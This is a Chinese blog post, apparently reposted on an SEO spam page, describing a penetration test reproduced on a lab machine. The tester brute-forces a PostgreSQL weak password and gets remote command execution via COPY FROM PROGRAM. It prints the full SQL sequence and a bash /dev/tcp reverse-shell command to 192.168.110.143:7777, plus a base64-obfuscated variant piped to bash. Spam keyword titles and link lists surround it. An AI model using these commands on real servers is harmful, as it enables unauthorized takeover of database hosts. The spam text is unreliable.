当前位置: 首页 > news >正文

手机电子商务网站建设策划书关键词密度

手机电子商务网站建设策划书,关键词密度,民治制作网站,哪里有男男做受网站记一次授权攻击通过PostgreSql弱口令拿到服务器权限的事件。 使用靶机复现攻击过程。 过程 在信息收集过程中,获取到在公网服务器上开启了5432端口,尝试进行暴破,获取到数据库名为默认postgres,密码为1 随后连接进PostgreSql …

记一次授权攻击通过PostgreSql弱口令拿到服务器权限的事件。

使用靶机复现攻击过程。

过程

在信息收集过程中,获取到在公网服务器上开启了5432端口,尝试进行暴破,获取到数据库名为默认postgres,密码为1

随后连接进PostgreSql

已知从9.3版本开始,postgresql新增copy to/from program功能,允许数据库的超级用户以及pg_read_server_files组中的任何用户执行操作系统命令。

利用条件:

  • 超级用户权限
  • 版本9.3-11.2

默认数据库postgres已经是超级用户权限,然后需要确认数据库版本

查看PostgreSql版本

以上两个条件均具备,说明该漏洞可以利用

执行命令,获取用户id及群组id

-- 先删除你想要使用但是已经存在的表

DROP TABLE IF EXISTS cmd_exec;

-- 创建保存系统命令输出的表

CREATE TABLE cmd_exec(cmd_output text);

-- 执行系统命令利用特定函数

COPY cmd_exec FROM PROGRAM 'id';

-- 查看执行结果

SELECT * FROM cmd_exec;

命令可以正常执行,随后执行反弹shell命令尝试获取交互shell

控制端使用nc开启监听

在数据库中执行如下命令

DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM '/bin/bash -i >& /dev/tcp/192.168.110.143/7777 0>&1';

SELECT * FROM cmd_exec;

在实战中使用上述命令可以正常反弹shell,但是在靶场中执行会产生报错信息ERROR: program "/bin/bash -i >& /dev/tcp/192.168.110.143/7777 0>&1" failed

DETAIL: child process exited with exit code 2

尝试对反弹shell命令进行编码

echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEwLjE0My83Nzc3IDA+JjEK" | base64 -d | bash

DROP TABLE IF EXISTS cmd_exec;

CREATE TABLE cmd_exec(cmd_output text);

COPY cmd_exec FROM PROGRAM 'echo "L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMTEwLjE0My83Nzc3IDA+JjEK" | base64 -d | bash';

SELECT * FROM cmd_exec;

执行后成功获取到shell

http://www.dt0577.cn/news/21121.html

相关文章:

  • 网站开发用哪些技术公司网站推广技巧
  • wordpress去除痕迹网站优化方案范文
  • 网站视频做背景如何在百度发广告推广
  • 网站开发制做google搜索网址
  • wordpress自定义函数在哪里seo搜索引擎优化原理
  • 做的好看的外国网站网络推广方法技巧
  • 哪里可以做免费的物流网站怎样建立网站免费的
  • 便宜虚拟主机做网站备份想建立自己的网站
  • 山西省新增最新消息泰州seo网络公司
  • 企业网站建设合同版本厦门网站优化
  • 西宁网站设计公司网站关键词排名优化软件
  • 赣州门户网站个人网页生成器
  • 深圳营销网站有限公司全网营销整合营销
  • 网站上传中国新闻
  • 产品设计方案格式模板东莞seo优化公司
  • 做外贸有什么免费网站公司网络营销推广方案
  • 泉州网站建设lben搜索引擎入口网址
  • 网站效果图制作外链在线发布工具
  • 优购物官方网站直播重庆做优化的网络公司
  • 资产负债表在哪个网站可以做免费发软文的网站
  • 不能用于制作网页手机seo排名
  • 挖矿网站怎么免费建设网络营销的优势与不足
  • 长春火车站建在哪里博客营销
  • 桐乡网站制作今天的热点新闻
  • 怎建立自己网站做淘宝客googlechrome
  • 如何做自己官方网站深圳龙华区大浪社区
  • 国外商品网站明天上海封控16个区
  • 做国外百科知识网站百度seo搜索引擎优化培训
  • 织梦做的网站织梦修改网页模板seo排名优化价格
  • 怎么提高网站流量网站seo优化服务